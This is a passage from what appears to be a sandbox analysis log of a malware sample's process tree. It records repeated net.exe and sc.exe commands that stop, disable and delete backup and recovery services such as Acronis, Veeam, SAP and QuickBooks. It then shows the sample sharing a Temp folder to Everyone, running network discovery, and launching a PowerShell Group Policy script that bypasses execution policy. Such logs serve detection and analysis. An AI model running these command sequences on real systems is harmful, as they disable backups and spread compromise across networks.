    PID:2888
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxClMgrS
    3⤵
    PID:2280
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxClMgrS
      4⤵
      PID:1172
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxClMgrS start=disabled
    3⤵
    PID:4500
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxClMgrS
    3⤵
    PID:1384
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxClMgrS
    3⤵
    PID:708
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxClMgrS
      4⤵
      PID:3008
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxClMgrS start=disabled
    3⤵
    PID:2144
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxClMgrS
    3⤵
    - Launches sc.exe
    PID:2832
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCVD
    3⤵
    PID:1236
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCVD
      4⤵
      PID:2440
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCVD start=disabled
    3⤵
    PID:3220
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCVD
    3⤵
    PID:4392
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCVD
    3⤵
    PID:3416
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCVD
      4⤵
      PID:4512
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCVD start=disabled
    3⤵
    PID:220
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCVD
    3⤵
    PID:4648
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCVD
    3⤵
    PID:3424
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCVD
      4⤵
      PID:4224
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCVD start=disabled
    3⤵
    PID:3696
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCVD
    3⤵
    PID:1780
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCIMgr
    3⤵
    PID:3792
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCIMgr
      4⤵
      PID:3684
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCIMgr start=disabled
    3⤵
    PID:1516
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCIMgr
    3⤵
    PID:1140
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCIMgr
    3⤵
    PID:1004
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCIMgr
      4⤵
      PID:3312
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCIMgr start=disabled
    3⤵
    PID:3344
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCIMgr
    3⤵
    PID:3528
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxCIMgr
    3⤵
    PID:3200
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxCIMgr
      4⤵
      PID:5100
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxCIMgr start=disabled
    3⤵
    PID:3480
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxCIMgr
    3⤵
    PID:2700
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GXMMM
    3⤵
    PID:1056
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GXMMM
      4⤵
      PID:2972
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GXMMM start=disabled
    3⤵
    PID:568
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GXMMM
    3⤵
    - Launches sc.exe
    PID:2504
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GXMMM
    3⤵
    PID:1880
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GXMMM
      4⤵
      PID:1840
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GXMMM start=disabled
    3⤵
    - Launches sc.exe
    PID:4580
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GXMMM
    3⤵
    PID:952
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GXMMM
    3⤵
    PID:3608
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GXMMM
      4⤵
      PID:1884
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GXMMM start=disabled
    3⤵
    - Launches sc.exe
    PID:5040
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GXMMM
    3⤵
    PID:2788
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVssHWProv
    3⤵
    PID:1404
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVssHWProv
      4⤵
      PID:2004
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVssHWProv start=disabled
    3⤵
    PID:4724
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVssHWProv
    3⤵
    - Launches sc.exe
    PID:3916
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVssHWProv
    3⤵
    PID:4596
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVssHWProv
      4⤵
      PID:2940
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVssHWProv start=disabled
    3⤵
    - Launches sc.exe
    PID:5088
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVssHWProv
    3⤵
    PID:3208
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVssHWProv
    3⤵
    PID:3132
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVssHWProv
      4⤵
      PID:4780
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVssHWProv start=disabled
    3⤵
    - Launches sc.exe
    PID:4184
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVssHWProv
    3⤵
    PID:2748
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxFWD
    3⤵
    PID:4860
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxFWD
      4⤵
      PID:4656
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxFWD start=disabled
    3⤵
    PID:5104
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxFWD
    3⤵
    PID:1616
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxFWD
    3⤵
    PID:4824
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxFWD
      4⤵
      PID:4904
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxFWD start=disabled
    3⤵
    PID:2780
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxFWD
    3⤵
    PID:2376
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxFWD
    3⤵
    PID:3988
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxFWD
      4⤵
      PID:420
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxFWD start=disabled
    3⤵
    - Launches sc.exe
    PID:4928
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxFWD
    3⤵
    PID:4660
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPService
    3⤵
    PID:4464
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPService
      4⤵
      PID:3028
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPService start=disabled
    3⤵
    PID:3556
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPService
    3⤵
    PID:4624
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPService
    3⤵
    PID:924
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPService
      4⤵
      PID:1976
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPService start=disabled
    3⤵
    - Launches sc.exe
    PID:776
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPService
    3⤵
    PID:4356
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPService
    3⤵
    PID:4476
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPService
      4⤵
      PID:4572
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPService start=disabled
    3⤵
    PID:2828
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPService
    3⤵
    PID:3528
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP
    3⤵
    PID:4864
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP
      4⤵
      PID:1044
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP start=disabled
    3⤵
    PID:2884
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP
    3⤵
    PID:3436
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP
    3⤵
    PID:2864
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP
      4⤵
      PID:3772
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP start=disabled
    3⤵
    PID:3136
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP
    3⤵
    PID:3140
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP
    3⤵
    PID:4644
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP
      4⤵
      PID:1916
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP start=disabled
    3⤵
    PID:660
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP
    3⤵
    PID:4580
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP$
    3⤵
    PID:2976
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP$
      4⤵
      PID:2824
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP$ start=disabled
    3⤵
    PID:3768
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP$
    3⤵
    - Launches sc.exe
    PID:1884
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP$
    3⤵
    PID:2852
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP$
      4⤵
      PID:4756
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP$ start=disabled
    3⤵
    PID:1372
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP$
    3⤵
    PID:3916
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAP$
    3⤵
    PID:1464
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAP$
      4⤵
      PID:4592
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAP$ start=disabled
    3⤵
    PID:2988
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAP$
    3⤵
    PID:1128
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPD$,SAPHostControl
    3⤵
    PID:1692
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPD$,SAPHostControl
      4⤵
      PID:2808
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPD$,SAPHostControl start=disabled
    3⤵
    PID:4972
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPD$,SAPHostControl
    3⤵
    PID:4780
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPD$,SAPHostControl
    3⤵
    PID:4988
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPD$,SAPHostControl
      4⤵
      PID:2832
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPD$,SAPHostControl start=disabled
    3⤵
    PID:4544
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPD$,SAPHostControl
    3⤵
    PID:4484
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPD$,SAPHostControl
    3⤵
    PID:3860
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPD$,SAPHostControl
      4⤵
      PID:2600
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPD$,SAPHostControl start=disabled
    3⤵
    - Launches sc.exe
    PID:1012
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPD$,SAPHostControl
    3⤵
    PID:3416
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPHostExec
    3⤵
    PID:4648
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPHostExec
      4⤵
      PID:220
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPHostExec start=disabled
    3⤵
    PID:2956
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPHostExec
    3⤵
    PID:1600
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPHostExec
    3⤵
    PID:2312
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPHostExec
      4⤵
      PID:4744
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPHostExec start=disabled
    3⤵
    - Launches sc.exe
    PID:240
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPHostExec
    3⤵
    - Launches sc.exe
    PID:2332
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop SAPHostExec
    3⤵
    PID:3684
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop SAPHostExec
      4⤵
      PID:1140
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config SAPHostExec start=disabled
    3⤵
    PID:1516
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete SAPHostExec
    3⤵
    PID:776
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBCFMonitorService
    3⤵
    PID:2464
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBCFMonitorService
      4⤵
      PID:4564
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBCFMonitorService start=disabled
    3⤵
    PID:1940
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBCFMonitorService
    3⤵
    PID:4072
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBCFMonitorService
    3⤵
    PID:928
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBCFMonitorService
      4⤵
      PID:3204
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBCFMonitorService start=disabled
    3⤵
    PID:3148
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBCFMonitorService
    3⤵
    - Launches sc.exe
    PID:2428
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBCFMonitorService
    3⤵
    PID:2672
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBCFMonitorService
      4⤵
      PID:568
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBCFMonitorService start=disabled
    3⤵
    - Launches sc.exe
    PID:2504
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBCFMonitorService
    3⤵
    - Launches sc.exe
    PID:1212
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBDBMgrN
    3⤵
    PID:3052
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBDBMgrN
      4⤵
      PID:1916
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBDBMgrN start=disabled
    3⤵
    PID:3524
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBDBMgrN
    3⤵
    PID:1476
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBDBMgrN
    3⤵
    PID:1512
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBDBMgrN
      4⤵
      PID:1948
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBDBMgrN start=disabled
    3⤵
    PID:1352
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBDBMgrN
    3⤵
    PID:1992
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBDBMgrN
    3⤵
    PID:2852
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBDBMgrN
      4⤵
      PID:2868
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBDBMgrN start=disabled
    3⤵
    PID:1500
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBDBMgrN
    3⤵
    PID:2812
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBIDPService
    3⤵
    PID:1080
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBIDPService
      4⤵
      PID:4500
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBIDPService start=disabled
    3⤵
    PID:1384
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBIDPService
    3⤵
    PID:1536
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBIDPService
    3⤵
    PID:1692
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBIDPService
      4⤵
      PID:3008
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBIDPService start=disabled
    3⤵
    PID:4184
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBIDPService
    3⤵
    - Launches sc.exe
    PID:572
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop QBIDPService
    3⤵
    PID:2220
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop QBIDPService
      4⤵
      PID:300
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config QBIDPService start=disabled
    3⤵
    - Launches sc.exe
    PID:1568
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete QBIDPService
    3⤵
    - Launches sc.exe
    PID:4844
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcronisAgent
    3⤵
    PID:724
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcronisAgent
      4⤵
      PID:2780
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcronisAgent start=disabled
    3⤵
    PID:4904
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcronisAgent
    3⤵
    PID:2928
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcronisAgent
    3⤵
    PID:4220
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcronisAgent
      4⤵
      PID:900
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcronisAgent start=disabled
    3⤵
    PID:4416
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcronisAgent
    3⤵
    PID:1548
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcronisAgent
    3⤵
    PID:1520
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcronisAgent
      4⤵
      PID:4440
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcronisAgent start=disabled
    3⤵
    PID:224
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcronisAgent
    3⤵
    PID:4052
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamNFSSvc
    3⤵
    PID:4164
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamNFSSvc
      4⤵
      PID:4456
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamNFSSvc start=disabled
    3⤵
    PID:1944
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamNFSSvc
    3⤵
    - Launches sc.exe
    PID:1960
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamNFSSvc
    3⤵
    PID:1004
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamNFSSvc
      4⤵
      PID:3004
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamNFSSvc start=disabled
    3⤵
    - Launches sc.exe
    PID:4228
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamNFSSvc
    3⤵
    PID:4832
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamNFSSvc
    3⤵
    PID:4564
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamNFSSvc
      4⤵
      PID:2588
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamNFSSvc start=disabled
    3⤵
    - Launches sc.exe
    PID:816
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamNFSSvc
    3⤵
    PID:1056
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamDeploymentService
    3⤵
    PID:3148
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamDeploymentService
      4⤵
      PID:5004
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamDeploymentService start=disabled
    3⤵
    PID:1432
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamDeploymentService
    3⤵
    PID:3880
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamDeploymentService
    3⤵
    PID:752
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamDeploymentService
      4⤵
      PID:3052
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamDeploymentService start=disabled
    3⤵
    PID:5044
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamDeploymentService
    3⤵
    - Launches sc.exe
    PID:2084
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamDeploymentService
    3⤵
    PID:1916
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamDeploymentService
      4⤵
      PID:2788
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamDeploymentService start=disabled
    3⤵
    PID:3012
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamDeploymentService
    3⤵
    PID:984
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamTransportSvc
    3⤵
    PID:1992
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamTransportSvc
      4⤵
      PID:232
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamTransportSvc start=disabled
    3⤵
    - Launches sc.exe
    PID:1484
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamTransportSvc
    3⤵
    PID:2752
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamTransportSvc
    3⤵
    PID:2812
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamTransportSvc
      4⤵
      PID:2888
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamTransportSvc start=disabled
    3⤵
    - Launches sc.exe
    PID:1428
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamTransportSvc
    3⤵
    PID:2592
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamTransportSvc
    3⤵
    PID:2748
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamTransportSvc
      4⤵
      PID:4972
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamTransportSvc start=disabled
    3⤵
    PID:3240
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamTransportSvc
    3⤵
    PID:2068
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVArmor
    3⤵
    PID:588
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVArmor
      4⤵
      PID:5068
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVArmor start=disabled
    3⤵
    PID:4620
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVArmor
    3⤵
    PID:300
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVArmor
    3⤵
    PID:1312
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVArmor
      4⤵
      PID:308
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVArmor start=disabled
    3⤵
    PID:4680
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVArmor
    3⤵
    PID:3832
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVArmor
    3⤵
    PID:4220
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVArmor
      4⤵
      PID:3692
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVArmor start=disabled
    3⤵
    PID:4996
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVArmor
    3⤵
    PID:4868
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVarmor64
    3⤵
    PID:3316
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVarmor64
      4⤵
      PID:2436
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVarmor64 start=disabled
    3⤵
    - Launches sc.exe
    PID:1728
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVarmor64
    3⤵
    - Launches sc.exe
    PID:1980
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVarmor64
    3⤵
    PID:2564
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVarmor64
      4⤵
      PID:5080
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVarmor64 start=disabled
    3⤵
    PID:964
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVarmor64
    3⤵
    PID:2516
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVarmor64
    3⤵
    PID:496
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVarmor64
      4⤵
      PID:1612
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVarmor64 start=disabled
    3⤵
    PID:3928
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVarmor64
    3⤵
    PID:2556
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VSNAPVSS
    3⤵
    PID:5076
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VSNAPVSS
      4⤵
      PID:4568
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VSNAPVSS start=disabled
    3⤵
    - Launches sc.exe
    PID:2052
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VSNAPVSS
    3⤵
    PID:2204
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VSNAPVSS
    3⤵
    PID:3148
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VSNAPVSS
      4⤵
      PID:5012
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VSNAPVSS start=disabled
    3⤵
    PID:880
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VSNAPVSS
    3⤵
    - Launches sc.exe
    PID:5028
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VSNAPVSS
    3⤵
    PID:1892
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VSNAPVSS
      4⤵
      PID:3232
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VSNAPVSS start=disabled
    3⤵
    PID:4760
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VSNAPVSS
    3⤵
    PID:5044
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcrSch2Svc
    3⤵
    PID:416
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcrSch2Svc
      4⤵
      PID:4540
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcrSch2Svc start=disabled
    3⤵
    - Launches sc.exe
    PID:1512
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcrSch2Svc
    3⤵
    PID:2788
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcrSch2Svc
    3⤵
    PID:1372
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcrSch2Svc
      4⤵
      PID:4956
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcrSch2Svc start=disabled
    3⤵
    PID:1580
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcrSch2Svc
    3⤵
    PID:2872
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcrSch2Svc
    3⤵
    PID:4040
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcrSch2Svc
      4⤵
      PID:1128
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcrSch2Svc start=disabled
    3⤵
    - Launches sc.exe
    PID:4036
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcrSch2Svc
    3⤵
    PID:912
- - C:\Windows\SYSTEM32\net.exe
    "net" share SystemUpdate=C:\Users\Admin\AppData\Local\Temp\SystemUpdate /GRANT:Everyone,READ
    3⤵
    PID:1776
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 share SystemUpdate=C:\Users\Admin\AppData\Local\Temp\SystemUpdate /GRANT:Everyone,READ
      4⤵
      PID:4780
- - C:\Windows\SYSTEM32\net.exe
    "net" view
    3⤵
    - Discovers systems in the same network
    PID:572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\gpo_T0lBeW.ps1"
    3⤵
